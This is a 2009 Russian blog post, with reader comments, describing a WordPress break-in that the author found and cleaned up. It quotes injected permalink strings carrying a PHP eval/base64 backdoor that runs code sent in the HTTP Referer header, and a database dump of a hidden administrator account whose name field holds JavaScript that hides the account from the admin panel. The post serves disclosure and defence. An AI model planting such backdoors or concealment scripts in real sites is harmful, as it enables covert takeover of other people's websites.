Ахтунг! Атаки на WordPress блоги

Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
wp-ahtung
Phpmyadmin выдает при этом примерно такое:

Lost connection to MySQL server during query

и не отвечает сервер минут 50 после этого…

Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:

%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):

(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n          var t=document.getElementById("user_superuser");\n              while(t.nodeName!="TR"){\n                      t=t.parentNode;\n               };\n            t.parentNode.removeChild(t);\n          var tags = document.getElementsByTagName("H3");\n               var s = " shown below";\n               for (var i = 0; i < tags.length; i++) {\n                       var t=tags[i].innerHTML;\n                      var h=tags[i];\n                        if(t.indexOf(s)>0){\n                           s =(parseInt(t)-1)+s;\n                         h.removeChild(h.firstChild);\n                          t = document.createTextNode(s);\n                               h.appendChild(t);\n                     }\n             }\n             var arr=document.getElementsByTagName("ul");\n          for(var i in arr) if(arr[i].className=="subsubsub"){\n                  var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n                      if(n[1]>0){\n                           var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n        arr[i].innerHTML=txt;\n        }\n    }\n          }catch(e){};\n     };\n     addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');

вот этот поддельный администратор "хакер"

(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');

Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко тут

так что обновляйтесь регулярно :-)

Связанные записи

28 комментариев

Страницы: [1] 2 » Show All

  1. 1 alexus2k 6 сентября 2009 в 18:06 (GMT+6)

    Почти тоже самое произошло с моими блогами, но проблему заметил по измененным постоянным ссылкам. Помимо всего обнаружил небольшое изменение кода в паре пхп скриптов которое вычистил сразу (wp-config.php и в скрипте суперкеширования).

    Суперхакеров убил в базе, что и вам рекомендую, лечится просто, заходим в таблицу wp_usermeta и убиваем все строки с ID юзеров у которых FIRST_NAME не выглядит нормально. В моем случае такой же жабаскрипт торчал в этом поле…

    Обновляемся чаще…


  2. 2 Ю.Б. 6 сентября 2009 в 18:34 (GMT+6)

    > так что обновляйтесь регулярно :-)

    Если вражина уже пролезла и заделалась тайным админом, то обновление – что мертвому припарки.


  3. 3 Санёк 6 сентября 2009 в 19:16 (GMT+6)

    Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.


  4. 4 Ю.Б. 6 сентября 2009 в 19:58 (GMT+6)

    Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.

    В 2.8.3 уже приняты меры, чтобы юзеры не лазили куда не положено.


  5. 5 Дмитрий Донченко 6 сентября 2009 в 22:23 (GMT+6)

    Дело в том что, есть версии что это не бага, а именно атака какого-то червяка, т.е. блоги взламываются автоматически. :(


  6. 6 Ю.Б. 6 сентября 2009 в 22:34 (GMT+6)

    Это не бага, это – ДЫРКА.

    Процедура тривиальная: регистрация – логин – смена ЧПУ – повышение привилегий и скрытие юзера. Так что в принципе это может делать и простенький скрипт. Червяки, трояны, ботнеты и прочий hi-tec тут без надобности.


  7. 7 Санёк 7 сентября 2009 в 0:35 (GMT+6)

    А если регистрация закрыта? Это не спасет?


  8. 8 Ю.Б. 7 сентября 2009 в 1:04 (GMT+6)

    А если регистрация закрыта? Это не спасет?

    Закрыта вообще или только сейчас? Если вообще – то от этой напасти спасет. Но есть, наверно, и другие. Так что расслабляться рано :)


Страницы: [1] 2 » Show All

Комментарии не по теме удаляются! Читайте реадми дистрибутива, комментарии выше и FAQ! Прежде чем задавать вопрос, прочитайте это. Научитесь ценить чужое время!

 Имя (обязательно)  EMAIL (обязательно)  АДРЕС ЛИЧНОГО БЛОГА

Вы соглашаетесь с правилами


При добавлении HTML|CSS|JS|PHP кода в комментарий, оформляйте его через кнопку КОД

 

Получать комментарии по RSS Адрес трэкбека